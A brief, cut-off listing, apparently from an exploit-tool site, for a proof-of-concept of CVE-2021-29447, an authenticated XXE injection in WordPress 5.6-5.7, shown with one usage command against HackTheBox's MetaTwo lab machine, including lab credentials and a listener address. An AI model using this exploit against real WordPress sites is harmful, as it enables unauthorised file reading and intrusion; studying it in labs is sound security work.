CVE-2021-29447

CVE-2021-29447 POC to exploit WordPress 5.6-5.7 PHP 8+ Authenticated XXE Injection. More about this CVE here 示例 示例用法针对 HackTheBox 的 MetaTwo 机器，该机器托管了一个 WordPress 网站，其媒体库容易受到 XXE 注入攻击。 root@kitploit: python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w...